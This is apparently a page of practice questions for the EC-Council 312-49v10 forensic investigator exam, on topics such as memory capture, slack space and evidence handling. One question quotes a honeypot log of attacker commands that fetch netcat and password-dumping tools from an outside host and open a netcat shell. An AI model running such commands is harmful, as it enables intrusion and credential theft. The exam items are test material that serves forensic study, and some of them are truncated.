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ECCouncil 312-49v10 Practice Test - Questions Answers, Page 10

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Question 91

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Volatile Memory is one of the leading problems for forensics. Worms such as code Red are memory resident and do write themselves to the hard drive, if you turn the system off they disappear. In a la

Question 92

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You are working in the security Department of law firm. One of the attorneys asks you about the topic of sending fake email because he has a client who has been charged with doing just that. His cli

Question 93

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This is original file structure database that Microsoft originally designed for floppy disks. It is written to the outermost track of a disk and contains information about each file stored on the dr

Question 94

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What should you do when approached by a reporter about a case that you are working on or have worked on?

Question 95

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Which of the following refers to the data that might still exist in a cluster even though the original file has been overwritten by another file?

Question 96

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A state department site was recently attacked and all the servers had their disks erased. The incident response team sealed the area and commenced investigation. During evidence collection they came

Question 97

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When investigating a Windows System, it is important to view the contents of the page or swap file because:

Question 98

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Chris has been called upon to investigate a hacking incident reported by one of his clients. The company suspects the involvement of an insider accomplice in the attack. Upon reaching the incident s

Question 99

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The use of warning banners helps a company avoid litigation by overcoming an employee assumed __________________________. When connecting to the company's intranet, network or Virtual Private Networ

Question 100

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What does mactime, an essential part of the coroner's toolkit do?

Related questions

Report writing is a crucial stage in the outcome of an investigation. Which information should not be included in the report section?

William is examining a log entry that reads 192.168.0.1 - - [18/Jan/2020:12:42:29 +0000) "GET / HTTP/1.1" 200 1861. Which of the following logs does the log entry belong to?

In Windows, prefetching is done to improve system performance. There are two types of prefetching: boot prefetching and application prefetching. During boot prefetching, what does the Cache Manager do?

During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore, you report this evidence. This type of evidence is known as:

What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?

In which of these attacks will a steganalyst use a random message to generate a stego-object by using some steganography tool, to find the steganography algorithm used to hide the information?

An Employee is suspected of stealing proprietary information belonging to your company that he had no rights to possess. The information was stored on the Employees Computer that was protected with the NTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekend. You detain the Employee before he leaves the building and recover the floppy disks and secure his computer. Will you be able to break the encryption so that you can verify that that the employee was in possession of the proprietary information?

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below. "cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom" "cmd1.exe /c ftp -s:ftpcom" "cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given?

You are working as an investigator for a corporation and you have just received instructions from your manager to assist in the collection of 15 hard drives that are part of an ongoing investigation. Your job is to complete the required evidence custody forms to properly document each piece of evidence as it is collected by other members of your team. Your manager instructs you to complete one multi-evidence form for the entire case and a single-evidence form for each hard drive. How will these forms be stored to help preserve the chain of custody of the case?

Malware analysis can be conducted in various manners. An investigator gathers a suspicious executable file and uploads It to VirusTotal in order to confirm whether the file Is malicious, provide information about Its functionality, and provide Information that will allow to produce simple network signatures. What type of malware analysis was performed here?

Question 91

Volatile Memory is one of the leading problems for forensics. Worms such as code Red are memory resident and do write themselves to the hard drive, if you turn the system off they disappear. In a lab environment, which of the following options would you suggest as the most appropriate to overcome the problem of capturing volatile memory?

Use VMware to be able to capture the data in memory and examine it

Give the Operating System a minimal amount of memory, forcing it to use a swap file

Create a Separate partition of several hundred megabytes and place the swap file there

Use intrusion forensic techniques to study memory resident infections

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Question 92

You are working in the security Department of law firm. One of the attorneys asks you about the topic of sending fake email because he has a client who has been charged with doing just that. His client alleges that he is innocent and that there is no way for a fake email to actually be sent. You inform the attorney that his client is mistaken and that fake email is possibility and that you can prove it. You return to your desk and craft a fake email to the attorney that appears to come from his boss. What port do you send the email to on the company SMTP server?

110

135

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Question 93

This is original file structure database that Microsoft originally designed for floppy disks. It is written to the outermost track of a disk and contains information about each file stored on the drive.

Master Boot Record (MBR)

Master File Table (MFT)

File Allocation Table (FAT)

Disk Operating System (DOS)

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Question 94

What should you do when approached by a reporter about a case that you are working on or have worked on?

Refer the reporter to the attorney that retained you

Say, "no comment"

Answer all the reporter's questions as completely as possible

Answer only the questions that help your case

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Question 95

Which of the following refers to the data that might still exist in a cluster even though the original file has been overwritten by another file?

Sector

Metadata

MFT

Slack Space

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Question 96

A state department site was recently attacked and all the servers had their disks erased. The incident response team sealed the area and commenced investigation. During evidence collection they came across a zip disks that did not have the standard labeling on it. The incident team ran the disk on an isolated system and found that the system disk was accidentally erased. They decided to call in the FBI for further investigation. Meanwhile, they short listed possible suspects including three summer interns. Where did the incident team go wrong?

They examined the actual evidence on an unrelated system

They attempted to implicate personnel without proof

They tampered with evidence by using it

They called in the FBI without correlating with the fingerprint data

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Question 97

When investigating a Windows System, it is important to view the contents of the page or swap file because:

Windows stores all of the systems configuration information in this file

This is file that windows use to communicate directly with Registry

A Large volume of data can exist within the swap file of which the computer user has no knowledge

This is the file that windows use to store the history of the last 100 commands that were run from the command line

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Question 98

Chris has been called upon to investigate a hacking incident reported by one of his clients. The company suspects the involvement of an insider accomplice in the attack. Upon reaching the incident scene, Chris secures the physical area, records the scene using visual medi a. He shuts the system down by pulling the power plug so that he does not disturb the system in any way. He labels all cables and connectors prior to disconnecting any. What do you think would be the next sequence of events?

Connect the target media; prepare the system for acquisition; Secure the evidence; Copy the media

Prepare the system for acquisition; Connect the target media; copy the media; Secure the evidence

Connect the target media; Prepare the system for acquisition; Secure the evidence; Copy the media

Secure the evidence; prepare the system for acquisition; Connect the target media; copy the media

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Question 99

The use of warning banners helps a company avoid litigation by overcoming an employee assumed __________________________. When connecting to the company's intranet, network or Virtual Private Network (VPN) and will allow the company's investigators to monitor, search and retrieve information stored within the network.

Right to work

Right of free speech

Right to Internet Access

Right of Privacy

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